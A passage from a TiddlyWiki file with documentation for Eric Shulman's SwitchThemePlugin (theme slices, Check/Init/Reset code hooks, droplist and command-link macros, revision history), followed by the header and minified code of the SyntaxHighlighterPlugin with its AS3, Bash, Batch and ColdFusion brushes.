	run(t,'Init');
}
}
//}}}
/***
|Name|SwitchThemePluginInfo|
|Source|http://www.TiddlyTools.com/#SwitchThemePlugin|
|Documentation|http://www.TiddlyTools.com/#SwitchThemePluginInfo|
|Version|5.4.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.3|
|Type|documentation|
|Description|documentation for SwitchThemePlugin|
This plugin replaces the features previously provided by SelectStylesheetPlugin, and uses the ''TiddlyWiki core "theme" mechanism'' to select alternative templates and styles.  ''//This plugin requires TiddlyWiki version 2.3.0 or later//''
!!!!!Usage
<<<
{{medium{__Defining a theme:__}}}
First, create/import a tiddler containing CSS definitions and tag it with<<tag systemTheme>>.  At the top of the tiddler, embed a //slice table// with at least one slice, "~StyleSheet", whose value is the name of the tiddler itself, e.g., in a tiddler called [[MyTheme]], write:
{{{
/***
|StyleSheet|MyTheme|
***/
}}}
>Note use of {{{/***}}} and {{{***/}}} around the slice table.   This syntax allows the browser to skip over the slice table definition when processing the ~CSS-syntax embedded within the tiddler.
A theme tiddler can also define one or more additional slices that associate customized versions of [[PageTemplate]], [[ViewTemplate]], and/or [[EditTemplate]], for use with that theme:
{{{
/***
|PageTemplate|MyPageTemplate|
|ViewTemplate|MyViewTemplate|
|EditTemplate|MyEditTemplate|
***/
}}}
where the slice //name// is the standard template name, and the slice //value// is the title of the alternative custom template to use.  You can also associate a secondary set of ''"read only" templates that will be automatically applied whenever a document is being viewed online'' (i.e., via http: protocol)
{{{
|PageTemplateReadOnly|MyWebPageTemplate|
|ViewTemplateReadOnly|MyWebViewTemplate|
|EditTemplateReadOnly|MyWebEditTemplate|
}}}
These alternative templates can be used to present a reduced-feature "reader" interface when viewed on-line by others, while still offering a full-featured "author" interface when working locally.

In addition to the TW core slices described above, the plugin allows you to define extra slices that refer to tiddlers (or tiddler sections) containing ''custom javascript code that can be invoked whenever theme switching occurs''.  A theme can include any of the following special plugin-enhanced slices:
{{{
|Check|MyThemeCheck|
|Init|MyThemeInit|
|Reset|MyThemeReset|
}}}
*{{block{
The code referenced by the ''Check'' slice (if any) is invoked ''before switching'' to a selected theme.  ''If this code returns a non-zero (or true) result, then the new theme will not be applied.  A zero (or false) value allows the theme switch to continue as usual.''  For example, the following code asks for confirmation, allowing the user to cancel the theme switch:
{{{
return !confirm('Are you sure you want to use this theme?');
}}}
}}}
*After a theme has been applied, the code referenced by the ''Init'' slice (if any) is invoked.  This can be used to perform theme-related ''side-effects'', such as modifying various {{{config.options['...']}}} settings or displaying instructions/messages.
*When switching to another theme, any code referenced by a ''Reset'' slice //in the current theme// is invoked before the new theme is applied.  ''If this code returns a non-zero result, then the new theme will not be applied.''  As with the ''Check'' code, this can be used to ask the user to confirm before switching themes.  However, the primary intent of the ''Reset'' code is to permit restoration any modified settings that were altered by ''Init'' code that was previously invoked for the current theme.

{{medium{__Selecting a theme from a droplist:__}}}
To display a droplist of available themes, use this syntax:
{{{
<<switchTheme width:nnn>>
}}}
*''width:nnn[cm|px|em|%]'' (optional)<br>specifies the width of the droplist (using CSS measurements)(default=100%)
All tiddlers tagged with<<tag systemTheme>> will be included in the droplist of available themes for you to select (except those also tagged with <<tag excludeLists>>.  The current selection is stored in a TiddlyWiki option cookie ("txtTheme") that is applied automatically each time you reload your document.  If the selected theme does not exist in the document (e.g., it was deleted/renamed after being selected), the [default] CSS tiddler, [[StyleSheet]], will be used as a fallback.  If [random] is seleced, the plugin automatically selects a random theme.  You can exclude a theme from being randomly selected by tagging it with <<tag excludeTheme>>.

Example:
{{{<<switchTheme width:30%>>}}}
<<switchTheme width:30%>>

{{medium{__Selecting a theme from a command link:__}}}
The {{{<<switchTheme>>}}} macro can also be used to embed a command link that, when clicked, will apply a specific, pre-selected theme, using the following syntax:
{{{
<<switchTheme "label:link text" "prompt:tooltip text" TiddlerName>>
}}}
* ''label:text'' and ''prompt:text'' (optional)<br>define the link text the 'tooltip' text that appears near the mouse pointer when placed over the link, respectively.
*''~TiddlerName''<br>specifies the name of the theme tiddler to be applied (e.g., {{{<<switchTheme [[Woodshop]]>>}}}
Examples:
{{{
<<switchTheme Plain>>
<<switchTheme Blackout>> 
<<switchTheme Woodshop>>
<<switchTheme Textures>>
<<switchTheme [[Edge of Night]]>>
<<switchTheme label:[default] StyleSheet>>
<<switchTheme label:randomize *>>
}}}
<<switchTheme Plain>> <<switchTheme Blackout>> <<switchTheme Woodshop>> <<switchTheme Textures>> <<switchTheme [[Edge of Night]]>> <<switchTheme label:[default] StyleSheet>> <<switchTheme label:randomize *>>

NOTE:
>You can also create a command link that specifies "*" for the theme name.  This will select a theme //at random// from the list of available themes.  To prevent a given theme from being selected, tag it with <<tag excludeTheme>>.
<<<
!!!!!Configuration
<<<
<<option chkRandomTheme>> select a random theme at startup
//Note: to prevent a given theme from being chosen at random, tag it with <<tag excludeTheme>>//
<<<
!!!!!Revisions
<<<
2009.10.01 5.4.1 changed 'noRandom' tag to 'excludeTheme' and recognize 'excludeLists' tag
2009.09.28 5.4.0 added Check/Init/Reset slices for invoking code during theme switching
2008.04.23 5.3.0 added option for chkRandomTheme (select random theme at startup)
2008.04.13 5.2.0 moved TW2.3.x fixup for core's switchTheme() function to [[SwitchThemePluginPatch]] and simplified random theme handling.  Also, changed "Web*" prefix to "*ReadOnly" suffix for compatibility with TW240 core convention.
2008.02.01 5.1.3 in response to a change for core ticket #435 (see http://trac.tiddlywiki.org/changeset/3450) -- in switchTheme, use config.refresherData.* values (if defined), instead of config.refreshers.*  This change allows the plugin to work with both the current release (~TW230) AND the upcoming ~TW240 release.
2008.02.01 5.1.2 in switchTheme, replace hard-coded "~StyleSheet" with config.refreshers.stylesheet (used as name of loaded styles)
2008.01.30 5.1.1 changed tag-detection to use "systemTheme" instead of "theme" for compatibility with core theme switching mechanism.
2008.01.26 5.1.0 added support for txtTheme="*" (applies random theme at startup) and {{{<<randomTheme>>}}} macro (selects/applies a random theme when a command link is clicked)
2008.01.25 5.0.1 in refresh() and set(), removed use of ">" to indicate current theme 
2008.01.22 5.0.0 Completely re-written and renamed from [[SelectStylesheetPlugin]] (now retired)
>//previous history for [[SelectStylesheetPlugin]] omitted//
2005.07.20 1.0.0 Initial Release
<<<
/***
!Metadata:
|''Name:''|SyntaxHighlighterPlugin|
|''Description:''|Code Syntax Highlighter Plugin for TiddlyWiki.|
|''Version:''|1.1.3|
|''Date:''|Oct 24, 2008|
|''Source:''|http://www.coolcode.cn/show-310-1.html|
|''Author:''|Ma Bingyao (andot (at) ujn (dot) edu (dot) cn)|
|''License:''|[[GNU Lesser General Public License|http://www.gnu.org/licenses/lgpl.txt]]|
|''~CoreVersion:''|2.4.1|
|''Browser:''|Firefox 1.5+; InternetExplorer 6.0; Safari; Opera; Chrome; etc.|

!Syntax:
{{{
<code options>
codes
</code>
}}}

!Examples:
{{{
<code java>
public class HelloWorld {
    public static void main(String args[]) {
        System.out.println("HelloWorld!");
    }
}
</code>
}}}

!Revision History:
|''Version''|''Date''|''Note''|
|1.1.2|Oct 15, 2008|Optimize Highlight|
|1.0.0|Oct 13, 2008|Initial release|

!Code section:
***/
//{{{
var dp={sh:{Toolbar:{},Utils:{},RegexLib:{},Brushes:{},Strings:{AboutDialog:"<html><head><title>About...</title></head><body class=\"dp-about\"><table cellspacing=\"0\"><tr><td class=\"copy\"><p class=\"title\">dp.SyntaxHighlighter</div><div class=\"para\">Version: {V}</p><p><a href=\"http://www.dreamprojections.com/syntaxhighlighter/?ref=about\" target=\"_blank\">http://www.dreamprojections.com/syntaxhighlighter</a></p>&copy;2004-2007 Alex Gorbatchev.</td></tr><tr><td class=\"footer\"><input type=\"button\" class=\"close\" value=\"OK\" onClick=\"window.close()\"/></td></tr></table></body></html>"},ClipboardSwf:null,Version:"1.5.1"}};dp.SyntaxHighlighter=dp.sh;dp.sh.Toolbar.Commands={ExpandSource:{label:"+ expand source",check:function($){return $.collapse},func:function($,_){$.parentNode.removeChild($);_.div.className=_.div.className.replace("collapsed","")}},ViewSource:{label:"view plain",func:function($,_){var A=dp.sh.Utils.FixForBlogger(_.originalCode).replace(/</g,"&lt;"),B=window.open("","_blank","width=750, height=400, location=0, resizable=1, menubar=0, scrollbars=0");B.document.write("<textarea style=\"width:99%;height:99%\">"+A+"</textarea>");B.document.close()}},CopyToClipboard:{label:"copy to clipboard",check:function(){return window.clipboardData!=null||dp.sh.ClipboardSwf!=null},func:function($,A){var B=dp.sh.Utils.FixForBlogger(A.originalCode).replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&");if(window.clipboardData)window.clipboardData.setData("text",B);else if(dp.sh.ClipboardSwf!=null){var _=A.flashCopier;if(_==null){_=document.createElement("div");A.flashCopier=_;A.div.appendChild(_)}_.innerHTML="<embed src=\""+dp.sh.ClipboardSwf+"\" FlashVars=\"clipboard="+encodeURIComponent(B)+"\" width=\"0\" height=\"0\" type=\"application/x-shockwave-flash\"></embed>"}alert("The code is in your clipboard now")}},PrintSource:{label:"print",func:function($,B){var _=document.createElement("IFRAME"),A=null;_.style.cssText="position:absolute;width:0px;height:0px;left:-500px;top:-500px;";document.body.appendChild(_);A=_.contentWindow.document;dp.sh.Utils.CopyStyles(A,window.document);A.write("<div class=\""+B.div.className.replace("collapsed","")+" printing\">"+B.div.innerHTML+"</div>");A.close();_.contentWindow.focus();_.contentWindow.print();alert("Printing...");document.body.removeChild(_)}},About:{label:"?",func:function(_){var A=window.open("","_blank","dialog,width=300,height=150,scrollbars=0"),$=A.document;dp.sh.Utils.CopyStyles($,window.document);$.write(dp.sh.Strings.AboutDialog.replace("{V}",dp.sh.Version));$.close();A.focus()}}};dp.sh.Toolbar.Create=function(B){var A=document.createElement("DIV");A.className="tools";for(var _ in dp.sh.Toolbar.Commands){var $=dp.sh.Toolbar.Commands[_];if($.check!=null&&!$.check(B))continue;A.innerHTML+="<a href=\"#\" onclick=\"dp.sh.Toolbar.Command('"+_+"',this);return false;\">"+$.label+"</a>"}return A};dp.sh.Toolbar.Command=function(_,$){var A=$;while(A!=null&&A.className.indexOf("dp-highlighter")==-1)A=A.parentNode;if(A!=null)dp.sh.Toolbar.Commands[_].func($,A.highlighter)};dp.sh.Utils.CopyStyles=function(A,_){var $=_.getElementsByTagName("link");for(var B=0;B<$.length;B++)if($[B].rel.toLowerCase()=="stylesheet")A.write("<link type=\"text/css\" rel=\"stylesheet\" href=\""+$[B].href+"\"></link>")};dp.sh.Utils.FixForBlogger=function($){return(dp.sh.isBloggerMode==true)?$.replace(/<br\s*\/?>|&lt;br\s*\/?&gt;/gi,"\n"):$};dp.sh.RegexLib={MultiLineCComments:new RegExp("/\\*[\\s\\S]*?\\*/","gm"),SingleLineCComments:new RegExp("//.*$","gm"),SingleLinePerlComments:new RegExp("#.*$","gm"),DoubleQuotedString:new RegExp("\"(?:\\.|(\\\\\\\")|[^\\\"\"\\n])*\"","g"),SingleQuotedString:new RegExp("'(?:\\.|(\\\\\\')|[^\\''\\n])*'","g")};dp.sh.Match=function(_,$,A){this.value=_;this.index=$;this.length=_.length;this.css=A};dp.sh.Highlighter=function(){this.noGutter=false;this.addControls=true;this.collapse=false;this.tabsToSpaces=true;this.wrapColumn=80;this.showColumns=true};dp.sh.Highlighter.SortCallback=function($,_){if($.index<_.index)return-1;else if($.index>_.index)return 1;else if($.length<_.length)return-1;else if($.length>_.length)return 1;return 0};dp.sh.Highlighter.prototype.CreateElement=function(_){var $=document.createElement(_);$.highlighter=this;return $};dp.sh.Highlighter.prototype.GetMatches=function(_,B){var $=0,A=null;while((A=_.exec(this.code))!=null)this.matches[this.matches.length]=new dp.sh.Match(A[0],A.index,B)};dp.sh.Highlighter.prototype.AddBit=function($,A){if($==null||$.length==0)return;var C=this.CreateElement("SPAN");$=$.replace(/ /g,"&nbsp;");$=$.replace(/</g,"&lt;");$=$.replace(/\n/gm,"&nbsp;<br>");if(A!=null){if((/br/gi).test($)){var _=$.split("&nbsp;<br>");for(var B=0;B<_.length;B++){C=this.CreateElement("SPAN");C.className=A;C.innerHTML=_[B];this.div.appendChild(C);if(B+1<_.length)this.div.appendChild(this.CreateElement("BR"))}}else{C.className=A;C.innerHTML=$;this.div.appendChild(C)}}else{C.innerHTML=$;this.div.appendChild(C)}};dp.sh.Highlighter.prototype.IsInside=function(_){if(_==null||_.length==0)return false;for(var A=0;A<this.matches.length;A++){var $=this.matches[A];if($==null)continue;if((_.index>$.index)&&(_.index<$.index+$.length))return true}return false};dp.sh.Highlighter.prototype.ProcessRegexList=function(){for(var $=0;$<this.regexList.length;$++)this.GetMatches(this.regexList[$].regex,this.regexList[$].css)};dp.sh.Highlighter.prototype.ProcessSmartTabs=function(E){var B=E.split("\n"),$="",D=4,A="\t";function _(A,E,_){var B=A.substr(0,E),C=A.substr(E+1,A.length),$="";for(var D=0;D<_;D++)$+=" ";return B+$+C}function C(B,C){if(B.indexOf(A)==-1)return B;var D=0;while((D=B.indexOf(A))!=-1){var $=C-D%C;B=_(B,D,$)}return B}for(var F=0;F<B.length;F++)$+=C(B[F],D)+"\n";return $};dp.sh.Highlighter.prototype.SwitchToList=function(){var C=this.div.innerHTML.replace(/<(br)\/?>/gi,"\n"),B=C.split("\n");if(this.addControls==true)this.bar.appendChild(dp.sh.Toolbar.Create(this));if(this.showColumns){var A=this.CreateElement("div"),_=this.CreateElement("div"),E=10,G=1;while(G<=150)if(G%E==0){A.innerHTML+=G;G+=(G+"").length}else{A.innerHTML+="&middot;";G++}_.className="columns";_.appendChild(A);this.bar.appendChild(_)}for(var G=0,D=this.firstLine;G<B.length-1;G++,D++){var $=this.CreateElement("LI"),F=this.CreateElement("SPAN");$.className=(G%2==0)?"alt":"";F.innerHTML=B[G]+"&nbsp;";$.appendChild(F);this.ol.appendChild($)}this.div.innerHTML=""};dp.sh.Highlighter.prototype.Highlight=function(C){function A($){return $.replace(/^\s*(.*?)[\s\n]*$/g,"$1")}function $($){return $.replace(/\n*$/,"").replace(/^\n*/,"")}function _(B){var E=dp.sh.Utils.FixForBlogger(B).split("\n"),C=new Array(),D=new RegExp("^\\s*","g"),$=1000;for(var F=0;F<E.length&&$>0;F++){if(A(E[F]).length==0)continue;var _=D.exec(E[F]);if(_!=null&&_.length>0)$=Math.min(_[0].length,$)}if($>0)for(F=0;F<E.length;F++)E[F]=E[F].substr($);return E.join("\n")}function D(A,$,_){return A.substr($,_-$)}var F=0;if(C==null)C="";this.originalCode=C;this.code=$(_(C));this.div=this.CreateElement("DIV");this.bar=this.CreateElement("DIV");this.ol=this.CreateElement("OL");this.matches=new Array();this.div.className="dp-highlighter";this.div.highlighter=this;this.bar.className="bar";this.ol.start=this.firstLine;if(this.CssClass!=null)this.ol.className=this.CssClass;if(this.collapse)this.div.className+=" collapsed";if(this.noGutter)this.div.className+=" nogutter";if(this.tabsToSpaces==true)this.code=this.ProcessSmartTabs(this.code);this.ProcessRegexList();if(this.matches.length==0){this.AddBit(this.code,null);this.SwitchToList();this.div.appendChild(this.bar);this.div.appendChild(this.ol);return}this.matches=this.matches.sort(dp.sh.Highlighter.SortCallback);for(var E=0;E<this.matches.length;E++)if(this.IsInside(this.matches[E]))this.matches[E]=null;for(E=0;E<this.matches.length;E++){var B=this.matches[E];if(B==null||B.length==0)continue;this.AddBit(D(this.code,F,B.index),null);this.AddBit(B.value,B.css);F=B.index+B.length}this.AddBit(this.code.substr(F),null);this.SwitchToList();this.div.appendChild(this.bar);this.div.appendChild(this.ol)};dp.sh.Highlighter.prototype.GetKeywords=function($){return"\\b"+$.replace(/ /g,"\\b|\\b")+"\\b"};dp.sh.BloggerMode=function(){dp.sh.isBloggerMode=true};dp.sh.HighlightAll=function(N,B,K,I,O,E){function A(){var $=arguments;for(var _=0;_<$.length;_++){if($[_]==null)continue;if(typeof($[_])=="string"&&$[_]!="")return $[_]+"";if(typeof($[_])=="object"&&$[_].value!="")return $[_].value+""}return null}function J($,_){for(var A=0;A<_.length;A++)if(_[A]==$)return true;return false}function L(A,B,C){var _=new RegExp("^"+A+"\\[(\\w+)\\]$","gi"),$=null;for(var D=0;D<B.length;D++)if(($=_.exec(B[D]))!=null)return $[1];return C}function C(B,A,_){var $=document.getElementsByTagName(_);for(var C=0;C<$.length;C++)if($[C].getAttribute("name")==A)B.push($[C])}var T=[],P=null,M={},$="innerHTML";C(T,N,"pre");C(T,N,"textarea");if(T.length==0)return;for(var R in dp.sh.Brushes){var F=dp.sh.Brushes[R].Aliases;if(F==null)continue;for(var G=0;G<F.length;G++)M[F[G]]=R}for(G=0;G<T.length;G++){var _=T[G],U=A(_.attributes["class"],_.className,_.attributes["language"],_.language),Q="";if(U==null)continue;U=U.split(":");Q=U[0].toLowerCase();if(M[Q]==null)continue;P=new dp.sh.Brushes[M[Q]]();_.style.display="none";P.noGutter=(B==null)?J("nogutter",U):!B;P.addControls=(K==null)?!J("nocontrols",U):K;P.collapse=(I==null)?J("collapse",U):I;P.showColumns=(E==null)?J("showcolumns",U):E;var D=document.getElementsByTagName("head")[0];if(P.Style&&D){var S=document.createElement("style");S.setAttribute("type","text/css");if(S.styleSheet)S.styleSheet.cssText=P.Style;else{var H=document.createTextNode(P.Style);S.appendChild(H)}D.appendChild(S)}P.firstLine=(O==null)?parseInt(L("firstline",U,1)):O;P.Highlight(_[$]);P.source=_;_.parentNode.insertBefore(P.div,_)}};version.extensions.SyntaxHighLighterPlugin={major:1,minor:1,revision:3,date:new Date(2008,10,24)};dp.sh.ClipboardSwf="clipboard.swf";dp.sh.Highlight=function(_,Q,B,J,H,M,D){function A(){var $=arguments;for(var _=0;_<$.length;_++){if($[_]==null)continue;if(typeof($[_])=="string"&&$[_]!="")return $[_]+"";if(typeof($[_])=="object"&&$[_].value!="")return $[_].value+""}return null}function I($,_){for(var A=0;A<_.length;A++)if(_[A]==$)return true;return false}function K(A,B,C){var _=new RegExp("^"+A+"\\[(\\w+)\\]$","gi"),$=null;for(var D=0;D<B.length;D++)if(($=_.exec(B[D]))!=null)return $[1];return C}var N=null,$="innerHTML";if(this.registered==undefined){var L={};for(var O in dp.sh.Brushes){var E=dp.sh.Brushes[O].Aliases;if(E==null)continue;for(var F=0;F<E.length;F++)L[E[F]]=O}this.registered=L}Q=Q.split(":");language=Q[0].toLowerCase();if(this.registered[language]==null)return;N=new dp.sh.Brushes[this.registered[language]]();_.style.display="none";N.noGutter=(B==null)?I("nogutter",Q):!B;N.addControls=(J==null)?!I("nocontrols",Q):J;N.collapse=(H==null)?I("collapse",Q):H;N.showColumns=(D==null)?I("showcolumns",Q):D;var C=document.getElementsByTagName("head")[0],P=document.getElementById(N.CssClass);if(N.Style&&C&&!P){P=document.createElement("style");P.setAttribute("id",N.CssClass);P.setAttribute("type","text/css");if(P.styleSheet)P.styleSheet.cssText=N.Style;else{var G=document.createTextNode(N.Style);P.appendChild(G)}C.appendChild(P)}N.firstLine=(M==null)?parseInt(K("firstline",Q,1)):M;N.Highlight(_[$]);N.source=_;_.parentNode.insertBefore(N.div,_)};config.formatters.push({name:"SyntaxHighlighter",match:"^<code[\\s]+[^>]+>\\n",element:"pre",handler:function(_){this.lookaheadRegExp=/<code[\s]+([^>]+)>\n((?:^[^\n]*\n)+?)(^<\/code>$\n?)/mg;this.lookaheadRegExp.lastIndex=_.matchStart;var $=this.lookaheadRegExp.exec(_.source);if($&&$.index==_.matchStart){var C=$[1],B=$[2];if(config.browser.isIE)B=B.replace(/\n/g,"\r");var A=createTiddlyElement(_.output,this.element,null,null,B);dp.sh.Highlight(A,C);_.nextMatch=$.index+$[0].length}}});config.formatterHelpers.enclosedTextHelper=function(_){this.lookaheadRegExp.lastIndex=_.matchStart;var $=this.lookaheadRegExp.exec(_.source);if($&&$.index==_.matchStart){var B=$[1];if(config.browser.isIE)B=B.replace(/\n/g,"\r");var A=createTiddlyElement(_.output,this.element,null,null,B);switch(_.matchText){case"/*{{{*/\n":dp.sh.Highlight(A,"css");break;case"//{{{\n":dp.sh.Highlight(A,"js");break;case"<!--{{{-->\n":dp.sh.Highlight(A,"xml");break}_.nextMatch=$.index+$[0].length}};dp.sh.Brushes.AS3=function(){var _="class interface package",$="Array Boolean Date decodeURI decodeURIComponent encodeURI encodeURIComponent escape "+"int isFinite isNaN isXMLName Number Object parseFloat parseInt "+"String trace uint unescape XML XMLList "+"Infinity -Infinity NaN undefined "+"as delete instanceof is new typeof "+"break case catch continue default do each else finally for if in "+"label return super switch throw try while with "+"dynamic final internal native override private protected public static "+"...rest const extends function get implements namespace set "+"import include use "+"AS3 flash_proxy object_proxy "+"false null this true "+"void Null";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"blockcomment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"definition"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp("var","gm"),css:"variable"}];this.CssClass="dp-as";this.Style=".dp-as .comment { color: #009900; font-style: italic; }"+".dp-as .blockcomment { color: #3f5fbf; }"+".dp-as .string { color: #990000; }"+".dp-as .preprocessor { color: #0033ff; }"+".dp-as .definition { color: #9900cc; font-weight: bold; }"+".dp-as .keyword { color: #0033ff; }"+".dp-as .variable { color: #6699cc; font-weight: bold; }"};dp.sh.Brushes.AS3.prototype=new dp.sh.Highlighter();dp.sh.Brushes.AS3.Aliases=["as","actionscript","ActionScript","as3","AS3"];dp.sh.Brushes.Bash=function(){var _="alias bg bind break builtin cd command compgen complete continue "+"declare dirs disown echo enable eval exec exit export fc fg "+"getopts hash help history jobs kill let local logout popd printf "+"pushd pwd read readonly return set shift shopt source "+"suspend test times trap type typeset ulimit umask unalias unset wait",$="case do done elif else esac fi for function if in select then "+"time until while";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("[()[\\]{}]","g"),css:"delim"},{regex:new RegExp("\\$\\w+","g"),css:"vars"},{regex:new RegExp("\\w+=","g"),css:"vars"},{regex:new RegExp("\\s-\\w+","g"),css:"flag"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"builtin"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-bash";this.Style=".dp-bash .builtin {color: maroon; font-weight: bold;}"+".dp-bash .comment {color: gray;}"+".dp-bash .delim {font-weight: bold;}"+".dp-bash .flag {color: green;}"+".dp-bash .string {color: red;}"+".dp-bash .vars {color: blue;}"};dp.sh.Brushes.Bash.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Bash.Aliases=["bash","sh"];dp.sh.Brushes.Batch=function(){var _="APPEND ATTRIB CD CHDIR CHKDSK CHOICE CLS COPY DEL ERASE DELTREE "+"DIR EXIT FC COMP FDISK FIND FORMAT FSUTIL HELP JOIN "+"LABEL LOADFIX MK MKDIR MEM MEMMAKER MORE MOVE MSD PCPARK "+"PRINT RD RMDIR REN SCANDISK SHARE SORT SUBST SYS "+"TIME DATE TREE TRUENAME TYPE UNDELETE VER XCOPY",$="DO ELSE FOR IN CALL CHOICE GOTO SHIFT PAUSE ERRORLEVEL "+"IF NOT EXIST LFNFOR START SETLOCAL ENDLOCAL ECHO SET";this.regexList=[{regex:new RegExp("REM.*$","gm"),css:"comment"},{regex:new RegExp("::.*$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("[()[\\]{}]","g"),css:"delim"},{regex:new RegExp("%\\w+%","g"),css:"vars"},{regex:new RegExp("%%\\w+","g"),css:"vars"},{regex:new RegExp("\\w+=","g"),css:"vars"},{regex:new RegExp("@\\w+","g"),css:"keyword"},{regex:new RegExp(":\\w+","g"),css:"keyword"},{regex:new RegExp("\\s/\\w+","g"),css:"flag"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"builtin"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-batch";this.Style=".dp-batch .builtin {color: maroon; font-weight: bold;}"+".dp-batch .comment {color: gray;}"+".dp-batch .delim {font-weight: bold;}"+".dp-batch .flag {color: green;}"+".dp-batch .string {color: red;}"+".dp-batch .vars {color: blue;font-weight: bold;}"};dp.sh.Brushes.Batch.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Batch.Aliases=["batch","dos"];dp.sh.Brushes.ColdFusion=function(){this.CssClass="dp-coldfusion";this.Style=".dp-coldfusion { font: 13px \"Courier New\", Courier, monospace; }"+".dp-coldfusion .tag, .dp-coldfusion .tag-name { color: #990033; }"+".dp-coldfusion .attribute { color: #990033; }"+".dp-coldfusion .attribute-value { color: #0000FF; }"+".dp-coldfusion .cfcomments { background-color: #FFFF99; color: #000000; }"+".dp-coldfusion .cfscriptcomments { color: #999999; }"+".dp-coldfusion .keywords { color: #0000FF; }"+".dp-coldfusion .mgkeywords { color: #CC9900; }"+".dp-coldfusion .numbers { color: #ff0000; }"+".dp-coldfusion .strings { color: green; }";this.mgKeywords="setvalue getvalue addresult viewcollection viewstate";this.keywords="var eq neq gt gte lt lte not and or true false "+"abs acos addsoaprequestheader addsoapresponseheader "+"arrayappend arrayavg arrayclear arraydeleteat arrayinsertat "+"arrayisempty arraylen arraymax arraymin arraynew "+"arrayprepend arrayresize arrayset arraysort arraysum "+"arrayswap arraytolist asc asin atn binarydecode binaryencode "+"bitand bitmaskclear bitmaskread bitmaskset bitnot bitor bitshln "+"bitshrn bitxor ceiling charsetdecode charsetencode chr cjustify "+"compare comparenocase cos createdate createdatetime createobject "+"createobject createobject createobject createobject createodbcdate "+"createodbcdatetime createodbctime createtime createtimespan "+"createuuid dateadd datecompare dateconvert datediff dateformat "+"datepart day dayofweek dayofweekasstring dayofyear daysinmonth "+"daysinyear de decimalformat decrementvalue decrypt decryptbinary "+"deleteclientvariable directoryexists dollarformat duplicate encrypt "+"encryptbinary evaluate exp expandpath fileexists find findnocase "+"findoneof firstdayofmonth fix formatbasen generatesecretkey "+"getauthuser getbasetagdata getbasetaglist getbasetemplatepath "+"getclientvariableslist getcontextroot getcurrenttemplatepath "+"getdirectoryfrompath getencoding getexception getfilefrompath "+"getfunctionlist getgatewayhelper gethttprequestdata gethttptimestring "+"getk2serverdoccount getk2serverdoccountlimit getlocale "+"getlocaledisplayname getlocalhostip getmetadata getmetricdata "+"getpagecontext getprofilesections getprofilestring getsoaprequest "+"getsoaprequestheader getsoapresponse getsoapresponseheader "+"gettempdirectory gettempfile gettemplatepath gettickcount "+"gettimezoneinfo gettoken hash hour htmlcodeformat htmleditformat "+"iif incrementvalue inputbasen insert int isarray isbinary isboolean "+"iscustomfunction isdate isdebugmode isdefined isk2serverabroker "+"isk2serverdoccountexceeded isk2serveronline isleapyear islocalhost "+"isnumeric isnumericdate isobject isquery issimplevalue issoaprequest "+"isstruct isuserinrole isvalid isvalid isvalid iswddx isxml "+"isxmlattribute isxmldoc isxmlelem isxmlnode isxmlroot javacast "+"jsstringformat lcase left len listappend listchangedelims listcontains "+"listcontainsnocase listdeleteat listfind listfindnocase listfirst "+"listgetat listinsertat listlast listlen listprepend listqualify "+"listrest listsetat listsort listtoarray listvaluecount "+"listvaluecountnocase ljustify log log10 lscurrencyformat lsdateformat "+"lseurocurrencyformat lsiscurrency lsisdate lsisnumeric lsnumberformat "+"lsparsecurrency lsparsedatetime lsparseeurocurrency lsparsenumber "+"lstimeformat ltrim max mid min minute month monthasstring now "+"numberformat paragraphformat parameterexists parsedatetime pi "+"preservesinglequotes quarter queryaddcolumn queryaddrow querynew "+"querysetcell quotedvaluelist rand randomize randrange refind "+"refindnocase releasecomobject removechars repeatstring replace "+"replacelist replacenocase rereplace rereplacenocase reverse right "+"rjustify round rtrim second sendgatewaymessage setencoding "+"setlocale setprofilestring setvariable sgn sin spanexcluding "+"spanincluding sqr stripcr structappend structclear structcopy "+"structcount structdelete structfind structfindkey structfindvalue "+"structget structinsert structisempty structkeyarray structkeyexists "+"structkeylist structnew structsort structupdate tan timeformat "+"tobase64 tobinary toscript tostring trim ucase urldecode urlencodedformat "+"urlsessionformat val valuelist week wrap writeoutput xmlchildpos "+"xmlelemnew xmlformat xmlgetnodetype xmlnew xmlparse xmlsearch xmltransform "+"xmlvalidate year yesnoformat";this.stringMatches=new Array();this.attributeMatches=new Array()};dp.sh.Brushes.ColdFusion.prototype=new dp.sh.Highlighter();dp.sh.Brushes.ColdFusion.Aliases=["coldfusion","cf"];dp.sh.Brushes.ColdFusion.prototype.ProcessRegexList=function(){function B(_,$){_[_.length]=$}function A(A,$){for(var _=0;_<A.length;_++)if(A[_]==$)return _;return-1}var _=null,$=null;this.GetMatches(new RegExp("\\b(\\d+)","gm"),"numbers");this.GetMatches(new RegExp(this.GetKeywords(this.mgKeywords),"igm"),"mgkeywords");this.GetMatches(dp.sh.RegexLib.SingleLineCComments,"cfscriptcomments");this.GetMatches(dp.sh.RegexLib.MultiLineCComments,"cfscriptcomments");this.GetMatches(new RegExp("(&lt;|<)!---[\\s\\S]*?---(&gt;|>)","gm"),"cfcomments");$=new RegExp("(cfset\\s*)?([:\\w-.]+)\\s*=\\s*(\".*?\"|'.*?')*","gm");while((_=$.exec(this.code))!=null){if(_[1]!=undefined&&_[1]!="")continue;if(_[3]!=undefined&&_[3]!=""&&_[3]!="\"\""&&_[3]!="''"){B(this.matches,new dp.sh.Match(_[2],_.index,"attribute"));B(this.matches,new 